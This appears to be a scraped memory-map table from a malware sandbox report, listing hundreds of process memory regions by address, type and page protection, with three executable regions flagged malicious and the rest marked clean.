page execute and read and write
 malicious
220000
unkown
page execute and read and write
 malicious
180000
unkown
page execute and read and write
 malicious
7BA000
unkown image
page readonly
 clean
7FF000EA000
unkown
page execute and read and write
 clean
80000
unkown
page write copy
 clean
2AB000
stack
page read and write
 clean
1ECB000
heap private
page read and write
 clean
7FF00022000
unkown
page execute and read and write
 clean
2120000
heap private
page read and write
 clean
303E000
unkown
page read and write
 clean
DC0000
heap private
page read and write
 clean
3A7A000
unkown
page read and write
 clean
3575000
unkown
page read and write
 clean
22E000
unkown
page read and write
 clean
B20000
heap private
page read and write
 clean
2850000
unkown
page read and write
 clean
269D000
unkown
page read and write
 clean
29A000
unkown image
page readonly
 clean
5A0000
unkown
page readonly
 clean
310000
heap default
page read and write
 clean
1FD0000
unkown
page readonly
 clean
180000
heap private
page read and write
 clean
2A0F000
unkown
page read and write
 clean
26AF000
unkown
page read and write
 clean
1A4000
heap default
page read and write
 clean
267000
heap default
page read and write
 clean
2830000
unkown
page read and write
 clean
1BC000
unkown
page read and write
 clean
382000
heap default
page read and write
 clean
2830000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
220000
heap private
page read and write
 clean
C0000
unkown
page execute and read and write
 clean
7EFDF000
unkown
page read and write
 clean
630000
heap default
page read and write
 clean
7A8000
unkown image
page write copy
 clean
160000
heap private
page read and write
 clean
2A0D000
stack
page read and write
 clean
7FF000D0000
unkown
page read and write
 clean
2ED4000
unkown
page read and write
 clean
2520000
unkown
page readonly
 clean
2EC1000
unkown
page read and write
 clean
3483000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
22D0000
heap private
page read and write
 clean
358B000
unkown
page read and write
 clean
771000
unkown image
page execute and read and write
 clean
34F7000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
2F18000
unkown
page read and write
 clean
7FF001D0000
unkown
page execute and read and write
 clean
3B6000
unkown
page read and write
 clean
2F84000
unkown
page read and write
 clean
2F9F000
stack
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
7FF001A0000
unkown
page read and write
 clean
64C000
heap default
page read and write
 clean
680000
unkown
page read and write
 clean
1C0000
unkown
page read and write
 clean
1E30000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
1CB4E000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
306000
unkown
page read and write
 clean
2C30000
heap private
page execute and read and write
 clean
360000
unkown
page readonly
 clean
263000
unkown image
page execute and read and write
 clean
3549000
unkown
page read and write
 clean
1C68E000
unkown
page read and write
 clean
303F000
unkown
page read and write
 clean
B84000
heap private
page read and write
 clean
282F000
unkown
page read and write
 clean
1F0000
unkown
page readonly
 clean
33BB000
unkown
page read and write
 clean
243D000
unkown
page read and write
 clean
26C7000
unkown
page readonly
 clean
2830000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
7FF001E7000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
1CD03000
heap private
page read and write
 clean
2EF3000
unkown
page read and write
 clean
2FCA000
unkown
page read and write
 clean
125000
unkown
page read and write | page guard
 clean
1F0000
unkown
page execute and read and write
 clean
20000
heap private
page read and write
 clean
22A000
stack
page read and write
 clean
667000
heap default
page read and write
 clean
284E000
unkown
page read and write
 clean
7FF0001A000
unkown
page execute and read and write
 clean
21D0000
unkown
page readonly
 clean
D4F000
stack
page read and write
 clean
917000
unkown
page readonly
 clean
140000
unkown
page read and write
 clean
1D0000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
374000
heap default
page read and write
 clean
BB0000
unkown
page readonly
 clean
7B8000
unkown image
page write copy
 clean
2F0D000
unkown
page read and write
 clean
1E0000
unkown
page read and write
 clean
2B00000
heap private
page read and write
 clean
2A10000
unkown
page readonly
 clean
106000
unkown
page read and write
 clean
8C0000
unkown
page read and write
 clean
170000
heap private
page read and write
 clean
24C0000
unkown
page readonly
 clean
3123000
unkown
page read and write
 clean
2B10000
unkown
page write copy
 clean
3BFC000
unkown
page read and write
 clean
58D000
heap default
page read and write
 clean
410000
unkown
page readonly
 clean
2E3E000
unkown
page read and write
 clean
287E000
unkown
page read and write
 clean
314000
unkown image
page read and write
 clean
360000
heap default
page read and write
 clean
362F000
unkown
page read and write
 clean
35B1000
unkown
page read and write
 clean
420000
heap default
page read and write
 clean
500000
unkown
page read and write
 clean
A20000
heap private
page read and write
 clean
26BC000
unkown
page read and write
 clean
240000
unkown image
page readonly
 clean
180000
heap private
page read and write
 clean
761000
unkown image
page execute and read and write
 clean
A30000
unkown
page readonly
 clean
2FA8000
unkown
page read and write
 clean
5C0000
heap private
page read and write
 clean
B78000
unkown image
page write copy
 clean
5E7000
heap default
page read and write
 clean
1A2000
heap private
page read and write
 clean
2A4000
unkown image
page read and write
 clean
230000
unkown image
page readonly
 clean
5C4000
heap private
page read and write
 clean
350000
unkown
page readonly
 clean
1FD0000
unkown
page readonly
 clean
2B27000
heap private
page read and write
 clean
1B8B1000
unkown
page read and write
 clean
7E0000
unkown
page read and write
 clean
7FF001B0000
unkown
page execute and read and write
 clean
5D4000
heap default
page read and write
 clean
9C0000
unkown
page readonly
 clean
CD0000
heap private
page read and write
 clean
500000
unkown
page readonly
 clean
5B0000
heap default
page read and write
 clean
2980000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
160000
unkown
page readonly
 clean
3000000
unkown
page read and write
 clean
2130000
unkown
page read and write
 clean
261000
unkown image
page execute and read and write
 clean
2830000
unkown
page read and write
 clean
B00000
unkown
page readonly
 clean
27A4000
heap private
page read and write
 clean
2FE0000
unkown
page readonly
 clean
731000
unkown image
page execute and read and write
 clean
710000
unkown image
page readonly
 clean
1CEC0000
heap private
page read and write
 clean
1DFF000
unkown
page read and write
 clean
22D0000
unkown
page readonly
 clean
2840000
unkown
page read and write
 clean
1B53D000
unkown
page read and write
 clean
24B0000
heap private
page read and write
 clean
230000
unkown image
page readonly
 clean
4AD000
heap default
page read and write
 clean
890000
unkown
page read and write
 clean
3C00000
unkown
page read and write
 clean
2734000
heap private
page read and write
 clean
9C000
unkown
page read and write
 clean
2F3F000
stack
page read and write
 clean
1F60000
unkown
page readonly
 clean
28C000
unkown
page read and write
 clean
560000
unkown
page readonly
 clean
3470000
unkown
page read and write
 clean
4B0000
heap private
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
356F000
unkown
page read and write
 clean
2FF2000
unkown
page read and write
 clean
130000
unkown
page execute and read and write
 clean
1C94E000
unkown
page read and write
 clean
160000
heap default
page read and write
 clean
2440000
unkown
page readonly
 clean
2F52000
unkown
page read and write
 clean
570000
unkown
page readonly
 clean
778000
unkown image
page write copy
 clean
70000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
1C82E000
unkown
page read and write
 clean
587000
heap default
page read and write
 clean
477000
heap default
page read and write
 clean
2EB1000
unkown
page read and write
 clean
291E000
stack
page read and write
 clean
297000
heap default
page read and write
 clean
3582000
unkown
page read and write
 clean
AE0000
heap private
page read and write
 clean
2FC1000
unkown
page read and write
 clean
618000
heap default
page read and write
 clean
7D4000
unkown image
page read and write
 clean
750000
unkown
page readonly
 clean
3598000
unkown
page read and write
 clean
B70000
heap private
page read and write
 clean
D0000
heap default
page read and write
 clean
20000
unkown
page readonly
 clean
33C5000
unkown
page read and write
 clean
367000
heap default
page read and write
 clean
763000
unkown image
page execute and read and write
 clean
6CE000
heap default
page read and write
 clean
710000
heap private
page read and write
 clean
2E7000
heap default
page read and write
 clean
2E0000
unkown
page read and write
 clean
160000
unkown
page readonly
 clean
2E8C000
unkown
page read and write
 clean
230000
heap default
page read and write
 clean
2830000
unkown
page read and write
 clean
3585000
unkown
page read and write
 clean
B7A000
unkown image
page readonly
 clean
4B6000
unkown
page read and write
 clean
574000
heap default
page read and write
 clean
7A4000
unkown image
page read and write
 clean
494000
heap default
page read and write
 clean
557000
heap default
page read and write
 clean
21C0000
unkown
page readonly
 clean
3004000
unkown
page read and write
 clean
27A5000
unkown
page read and write
 clean
D70000
heap private
page read and write
 clean
DC000
unkown
page read and write
 clean
262D000
unkown
page read and write
 clean
1C0000
heap private
page read and write
 clean
200000
unkown
page execute and read and write
 clean
224000
heap private
page read and write
 clean
3146000
unkown
page read and write
 clean
60000
unkown
page readonly
 clean
29AD000
unkown
page read and write
 clean
3D0000
unkown
page readonly
 clean
267C000
unkown
page read and write
 clean
4F2000
heap default
page read and write
 clean
35C1000
unkown
page read and write
 clean
7B4000
unkown image
page read and write
 clean
360000
unkown
page readonly
 clean
5D0000
unkown
page readonly
 clean
1CCF0000
heap private
page read and write
 clean
380000
heap default
page read and write
 clean
120000
unkown
page readonly
 clean
2830000
unkown
page read and write
 clean
1A0000
heap private
page read and write
 clean
28C000
unkown
page read and write
 clean
31C3000
unkown
page read and write
 clean
8E0000
heap private
page read and write
 clean
3B2000
heap private
page read and write
 clean
2A50000
unkown
page readonly
 clean
3693000
unkown
page read and write
 clean
750000
unkown image
page readonly
 clean
24C000
stack
page read and write
 clean
3B2000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
21D0000
unkown
page readonly
 clean
B74000
unkown image
page read and write
 clean
470000
unkown
page read and write
 clean
26EB000
unkown
page readonly
 clean
7FF00180000
unkown
page read and write
 clean
22B4000
heap private
page read and write
 clean
27CC000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
770000
unkown image
page readonly
 clean
2A10000
unkown
page read and write
 clean
7FF00240000
unkown
page execute and read and write
 clean
357000
heap default
page read and write
 clean
20000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
2F70000
unkown
page read and write
 clean
1AC000
stack
page read and write
 clean
DB0000
heap private
page read and write
 clean
3559000
unkown
page read and write
 clean
D0000
unkown
page readonly
 clean
21B7000
unkown
page readonly
 clean
550000
heap default
page read and write
 clean
2FCE000
unkown
page read and write
 clean
130000
unkown
page readonly
 clean
344000
heap default
page read and write
 clean
100000
unkown
page read and write
 clean
1A7000
heap private
page read and write
 clean
1ACD0000
unkown
page read and write
 clean
259F000
stack
page read and write
 clean
7FF00200000
unkown
page execute and read and write
 clean
1B0000
unkown
page execute and read and write
 clean
240000
heap default
page read and write
 clean
D90000
unkown
page readonly
 clean
2F63000
unkown
page read and write
 clean
7FF00210000
unkown
page read and write
 clean
2FB3000
unkown
page read and write
 clean
3572000
unkown
page read and write
 clean
31D000
heap default
page read and write
 clean
850000
heap private
page read and write
 clean
2EC7000
unkown
page read and write
 clean
D78000
heap private
page read and write
 clean
318D000
unkown
page read and write
 clean
35D000
heap default
page read and write
 clean
140000
unkown
page read and write
 clean
7FF00190000
unkown
page execute and read and write
 clean
2ED7000
unkown
page read and write
 clean
5D0000
unkown
page readonly
 clean
2F6E000
unkown
page read and write
 clean
17C000
unkown
page read and write
 clean
359B000
unkown
page read and write
 clean
77A000
unkown image
page readonly
 clean
3595000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
28FE000
unkown
page read and write | page guard
 clean
60000
unkown
page readonly
 clean
22D2000
heap private
page read and write
 clean
2FA3000
unkown
page read and write
 clean
2317000
unkown
page readonly
 clean
320000
heap default
page read and write
 clean
297E000
unkown
page read and write
 clean
794000
unkown image
page execute read
 clean
1DD0000
unkown
page write copy
 clean
2CB5000
unkown
page read and write
 clean
3042000
unkown
page read and write
 clean
26C0000
heap private
page read and write
 clean
251000
unkown image
page execute and read and write
 clean
20000
unkown
page readonly
 clean
260000
heap default
page read and write
 clean
2680000
unkown
page read and write
 clean
BD0000
unkown
page read and write
 clean
1B340000
unkown
page read and write
 clean
31B9000
unkown
page read and write
 clean
301D000
unkown
page read and write
 clean
1FD0000
unkown
page readonly
 clean
3030000
unkown
page read and write
 clean
357000
heap default
page read and write
 clean
DC0000
heap private
page read and write
 clean
B33000
unkown image
page execute and read and write
 clean
308E000
unkown
page read and write
 clean
21B7000
unkown
page readonly
 clean
27E0000
unkown
page readonly
 clean
654000
heap default
page read and write
 clean
3B1000
unkown
page read and write
 clean
2980000
unkown
page read and write
 clean
2FAC000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
299C000
unkown
page read and write
 clean
24E4000
heap private
page read and write
 clean
39E000
heap default
page read and write
 clean
830000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
2740000
unkown
page readonly
 clean
B34000
unkown image
page execute read
 clean
1E60000
unkown
page read and write
 clean
9D0000
unkown
page readonly
 clean
AA0000
unkown
page readonly
 clean
420000
unkown
page readonly
 clean
7FF00260000
unkown
page read and write
 clean
CD0000
unkown
page readonly
 clean
26CC000
unkown
page readonly
 clean
90000
unkown
page read and write
 clean
4E0000
unkown
page readonly
 clean
700000
unkown
page readonly
 clean
31A6000
unkown
page read and write
 clean
66D000
heap default
page read and write
 clean
2830000
unkown
page read and write
 clean
1ED7000
unkown
page readonly
 clean
2FBD000
unkown
page read and write
 clean
7FF00170000
unkown
page execute and read and write
 clean
130000
unkown
page execute and read and write
 clean
2492000
heap private
page read and write
 clean
38C000
heap default
page read and write
 clean
DB0000
unkown
page readonly
 clean
2830000
unkown
page read and write
 clean
3BE000
heap default
page read and write
 clean
2000000
unkown
page readonly
 clean
2830000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
12C9C000
unkown
page read and write
 clean
3026000
unkown
page read and write
 clean
297F000
unkown
page read and write
 clean
4FF000
unkown
page read and write
 clean
8FD000
unkown
page read and write
 clean
2502000
heap private
page read and write
 clean
240000
unkown image
page readonly
 clean
2730000
heap private
page read and write
 clean
2ECE000
unkown
page read and write
 clean
13B000
unkown
page read and write
 clean
26BF000
unkown
page read and write
 clean
1CF0000
unkown
page readonly
 clean
B7D000
unkown
page read and write
 clean
930000
unkown
page read and write
 clean
1D8D000
unkown
page read and write
 clean
1DB4000
heap private
page read and write
 clean
16E000
heap default
page read and write
 clean
2A5C000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
2AA000
unkown image
page readonly
 clean
290000
unkown
page readonly
 clean
22E0000
unkown
page read and write
 clean
7AA000
unkown image
page readonly
 clean
7FF000E5000
unkown
page read and write
 clean
DA0000
unkown
page readonly
 clean
1B0000
heap private
page read and write
 clean
B31000
unkown image
page execute and read and write
 clean
BA2000
heap private
page read and write
 clean
304000
heap default
page read and write
 clean
7FFFFF10000
unkown
page execute and read and write
 clean
B0000
unkown
page readonly
 clean
2D3000
unkown image
page execute and read and write
 clean
20000
unkown
page readonly
 clean
318000
unkown image
page write copy
 clean
317000
heap default
page read and write
 clean
7FF00280000
unkown
page execute and read and write
 clean
2830000
unkown
page read and write
 clean
6B0000
unkown
page readonly
 clean
2ABD000
unkown
page read and write
 clean
2F5A000
unkown
page read and write
 clean
361A000
unkown
page read and write
 clean
A60000
heap private
page read and write
 clean
D20000
heap private
page read and write
 clean
2A8000
unkown image
page write copy
 clean
284000
heap default
page read and write
 clean
8F0000
unkown
page readonly
 clean
4B4000
heap private
page read and write
 clean
4C0000
unkown
page readonly
 clean
7FF001C0000
unkown
page read and write
 clean
12F22000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
2844000
unkown
page read and write
 clean
1C0000
unkown
page readonly
 clean
294000
unkown image
page read and write
 clean
1F1000
heap default
page read and write
 clean
100000
unkown
page read and write
 clean
178000
heap private
page read and write
 clean
2EF6000
unkown
page read and write
 clean
380000
unkown
page readonly
 clean
26D0000
unkown
page readonly
 clean
2E1E000
stack
page read and write
 clean
20000
unkown
page readonly
 clean
230000
unkown
page readonly
 clean
830000
unkown
page read and write
 clean
2080000
heap private
page read and write
 clean
B30000
heap private
page read and write
 clean
D0000
unkown
page read and write
 clean
1DB0000
heap private
page read and write
 clean
B80000
heap private
page read and write
 clean
910000
unkown
page read and write
 clean
2EA0000
unkown
page read and write
 clean
7FF00290000
unkown
page execute and read and write
 clean
640000
unkown
page readonly
 clean
3248000
unkown
page read and write
 clean
740000
unkown image
page readonly
 clean
7FF00020000
unkown
page read and write
 clean
1AB000
unkown
page read and write
 clean
305F000
unkown
page read and write
 clean
260000
heap default
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
22B0000
heap private
page read and write
 clean
29C000
stack
page read and write
 clean
8C000
unkown
page read and write
 clean
23D0000
unkown
page readonly
 clean
160000
heap private
page read and write
 clean
301A000
unkown
page read and write
 clean
12C75000
unkown
page read and write
 clean
31EF000
unkown
page read and write
 clean
1F10000
unkown
page readonly
 clean
2EA7000
unkown
page read and write
 clean
26C0000
unkown
page readonly
 clean
7FF00250000
unkown
page execute and read and write
 clean
90000
unkown
page readonly
 clean
4D0000
heap private
page read and write
 clean
7FF000E0000
unkown
page read and write
 clean
126000
unkown
page read and write
 clean
130000
unkown
page execute and read and write
 clean
390000
unkown
page readonly
 clean
E0000
heap default
page read and write
 clean
2F60000
heap private
page read and write
 clean
480000
unkown
page read and write
 clean
7FFFFF00000
unkown
page execute and read and write
 clean
387000
heap default
page read and write
 clean
356C000
unkown
page read and write
 clean
7FF00220000
unkown
page execute and read and write
 clean
1E80000
unkown
page read and write
 clean
2F67000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
D9E000
unkown
page read and write
 clean
A50000
unkown
page readonly
 clean
27AA000
unkown
page read and write
 clean
2F4E000
unkown
page read and write
 clean
35B4000
unkown
page read and write
 clean
210000
unkown
page read and write
 clean
774000
unkown image
page execute read
 clean
27C2000
heap private
page read and write
 clean
315F000
unkown
page read and write
 clean
A30000
unkown
page readonly
 clean
F0000
unkown
page write copy
 clean
2870000
unkown
page readonly
 clean
1F50000
unkown
page readonly
 clean
BD0000
unkown
page read and write
 clean
284A000
unkown
page read and write
 clean
20000
heap private
page read and write
 clean
8B0000
heap private
page read and write
 clean
2830000
unkown
page read and write
 clean
1C710000
heap private
page read and write
 clean
470000
heap default
page read and write
 clean
AFF000
stack
page read and write
 clean
23B0000
unkown
page readonly
 clean
2BFA000
heap private
page execute and read and write
 clean
1E0000
unkown
page readonly
 clean
2F9D000
unkown
page read and write
 clean
28A000
stack
page read and write
 clean
773000
unkown image
page execute and read and write
 clean
637000
heap default
page read and write
 clean
2FEC000
unkown
page read and write
 clean
D0000
unkown
page readonly
 clean
184000
heap private
page read and write
 clean
23A7000
unkown
page readonly
 clean
A00000
unkown
page readonly
 clean
350000
heap default
page read and write
 clean
3E0000
unkown
page readonly
 clean
3A5000
unkown
page read and write
 clean
31A000
unkown image
page readonly
 clean
6A4000
heap default
page read and write
 clean
90000
unkown
page read and write
 clean
764000
unkown image
page execute read
 clean
12EC0000
unkown
page read and write
 clean
1B882000
unkown
page read and write
 clean
A30000
unkown
page readonly
 clean
1B8B6000
unkown
page read and write
 clean
29D000
heap default
page read and write
 clean
2F80000
unkown
page read and write
 clean
2DCD000
stack
page read and write
 clean
2EE6000
unkown
page read and write
 clean
12DE1000
unkown
page read and write
 clean
B9E000
stack
page read and write
 clean
2D1000
unkown image
page execute and read and write
 clean
1E90000
heap private
page read and write
 clean
311E000
unkown
page read and write
 clean
7FF00012000
unkown
page execute and read and write
 clean
9F0000
heap private
page read and write
 clean
2D0000
unkown
page read and write
 clean
BD0000
unkown
page readonly
 clean
2130000
unkown
page readonly
 clean
8B0000
heap private
page read and write
 clean
810000
heap private
page read and write
 clean
B10000
unkown image
page readonly
 clean
21C000
unkown
page read and write
 clean
1D0000
unkown
page execute and read and write
 clean
6F0000
unkown
page readonly
 clean
230000
unkown image
page readonly
 clean
31C0000
unkown
page read and write
 clean
4E6000
heap default
page read and write
 clean
51E000
heap default
page read and write
 clean
312000
unkown
page read and write
 clean
7FF00150000
unkown
page read and write
 clean
390000
heap private
page read and write
 clean
27A0000
heap private
page read and write
 clean
2CA6000
unkown
page read and write
 clean
292E000
unkown
page read and write
 clean
240000
unkown image
page readonly
 clean
1BA70000
heap private
page read and write
 clean
2980000
unkown
page readonly
 clean
28EE000
stack
page read and write
 clean
120000
unkown
page readonly
 clean
35AB000
unkown
page read and write
 clean
3F0000
heap default
page read and write
 clean
1B0000
unkown
page readonly
 clean
60000
unkown
page readonly
 clean
327000
heap default
page read and write
 clean
2F2E000
stack
page read and write
 clean
218000
heap default
page read and write
 clean
BD0000
unkown
page read and write
 clean
140000
unkown
page read and write
 clean
8B0000
heap private
page read and write
 clean
2737000
heap private
page read and write
 clean
2830000
unkown
page read and write
 clean
1A0000
heap private
page read and write
 clean
730000
unkown
page readonly
 clean
264000
unkown image
page execute read
 clean
3588000
unkown
page read and write
 clean
2870000
unkown
page write copy
 clean
2830000
unkown
page read and write
 clean
3A5000
unkown
page read and write
 clean
E0000
unkown
page read and write
 clean
2C60000
heap private
page read and write
 clean
450000
unkown
page readonly
 clean
3014000
unkown
page read and write
 clean
2E10000
heap private
page read and write
 clean
9C7000
unkown
page readonly
 clean
23B0000
unkown
page readonly
 clean
23C000
heap default
page read and write
 clean
920000
heap private
page read and write
 clean
1E95000
heap private
page read and write
 clean
28FF000
unkown
page read and write
 clean
7FF00160000
unkown
page execute and read and write
 clean
2830000
unkown
page read and write
 clean
35C4000
unkown
page read and write
 clean
2BB0000
heap private
page read and write
 clean
3033000
unkown
page read and write
 clean
900000
unkown
page read and write
 clean
BB0000
heap private
page read and write
 clean
7FF000D2000
unkown
page execute and read and write
 clean
7FF0024A000
unkown
page execute and read and write
 clean
240000
unkown image
page readonly
 clean
2B0000
unkown image
page readonly
 clean
298000
unkown image
page write copy
 clean
387000
heap default
page read and write
 clean
2E0000
heap default
page read and write
 clean
2470000
heap private
page read and write
 clean
31C6000
unkown
page read and write
 clean
793000
unkown image
page execute and read and write
 clean
27DF000
stack
page read and write
 clean
3B6000
unkown
page read and write
 clean
7D8000
unkown image
page write copy
 clean
7FF001F0000
unkown
page read and write
 clean
6D0000
heap private
page read and write
 clean
89F000
unkown
page read and write
 clean
2EF0000
unkown
page read and write
 clean
23B7000
unkown
page readonly
 clean
8D0000
heap private
page read and write
 clean
2F6E000
stack
page read and write
 clean
2474000
heap private
page read and write
 clean
25A0000
unkown
page readonly
 clean
184000
heap private
page read and write
 clean
5B7000
heap default
page read and write
 clean
1B830000
unkown
page read and write
 clean
733000
unkown image
page execute and read and write
 clean
3142000
unkown
page read and write
 clean
D1E000
unkown
page read and write
 clean
3B1000
unkown
page read and write
 clean
A20000
heap private
page read and write
 clean
1E0000
heap private
page read and write
 clean
26C4000
unkown
page read and write
 clean
260000
unkown
page readonly
 clean
22F0000
unkown
page readonly
 clean
3020000
unkown
page read and write
 clean
4ED000
heap default
page read and write
 clean
394000
heap private
page read and write
 clean
100000
unkown
page read and write
 clean
140000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
254000
unkown image
page execute read
 clean
3023000
unkown
page read and write
 clean
5ED000
heap default
page read and write
 clean
2830000
unkown
page read and write
 clean
1F30000
unkown
page readonly
 clean
27E0000
unkown
page write copy
 clean
2BF0000
heap private
page execute and read and write
 clean
24E0000
heap private
page read and write
 clean
2FD5000
unkown
page read and write
 clean
2CD4000
unkown
page read and write
 clean
734000
unkown image
page execute read
 clean
12D81000
unkown
page read and write
 clean
12C71000
unkown
page read and write
 clean
8A0000
heap private
page read and write
 clean
DB8000
heap private
page read and write
 clean
7FF001E0000
unkown
page read and write
 clean
300000
heap default
page read and write
 clean
12C000
stack
page read and write
 clean
830000
unkown
page readonly
 clean
1F80000
heap private
page execute and read and write
 clean
BBE000
unkown
page read and write
 clean
392000
heap default
page read and write
 clean
21C000
unkown
page read and write
 clean
1BE0000
unkown
page read and write
 clean
38D000
heap default
page read and write
 clean
7D0000
heap private
page read and write
 clean
359E000
unkown
page read and write
 clean
2A46000
unkown
page read and write
 clean
1F70000
unkown
page readonly
 clean
1D0000
unkown
page read and write
 clean
253000
unkown image
page execute and read and write
 clean
25E000
heap default
page read and write
 clean
39A000
heap default
page read and write
 clean
1BBDD000
unkown
page read and write
 clean
2E40000
unkown
page write copy
 clean
2C71000
unkown
page read and write
 clean
1C16000
unkown
page read and write
 clean
7FF00270000
unkown
page execute and read and write
 clean
1B930000
unkown
page read and write
 clean
150000
unkown
page readonly
 clean
29A0000
unkown
page readonly
 clean
2D4000
unkown image
page execute read
 clean
3D0000
unkown
page readonly
 clean
230000
heap private
page read and write
 clean
28CE000
unkown
page read and write
 clean
7E0000
unkown
page readonly
 clean
2ED1000
unkown
page read and write
 clean
242000
heap private
page read and write
 clean
3C7000
heap default
page read and write
 clean
28F0000
unkown
page readonly
 clean
362B000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
A20000
heap private
page read and write
 clean
200000
unkown
page readonly
 clean
150000
unkown
page read and write
 clean
2A4D000
stack
page read and write
 clean
90000
unkown
page read and write
 clean
774000
unkown image
page read and write
 clean
7FF0002C000
unkown
page execute and read and write
 clean
322D000
unkown
page read and write
 clean
4A7000
heap default
page read and write
 clean
120000
unkown
page readonly
 clean
25DE000
stack
page read and write
 clean
2B09000
heap private
page read and write
 clean
3B86000
unkown
page read and write
 clean
35AE000
unkown
page read and write
 clean
7FF00112000
unkown
page execute and read and write
 clean
791000
unkown image
page execute and read and write
 clean
230000
unkown image
page readonly
 clean
7DA000
unkown image
page readonly
 clean
840000
unkown
page read and write
 clean
3632000
unkown
page read and write
 clean
580000
unkown
page readonly
 clean
21B7000
unkown
page readonly
 clean
D0000
unkown
page read and write
 clean
There are 726 hidden memdumps, click here to show them.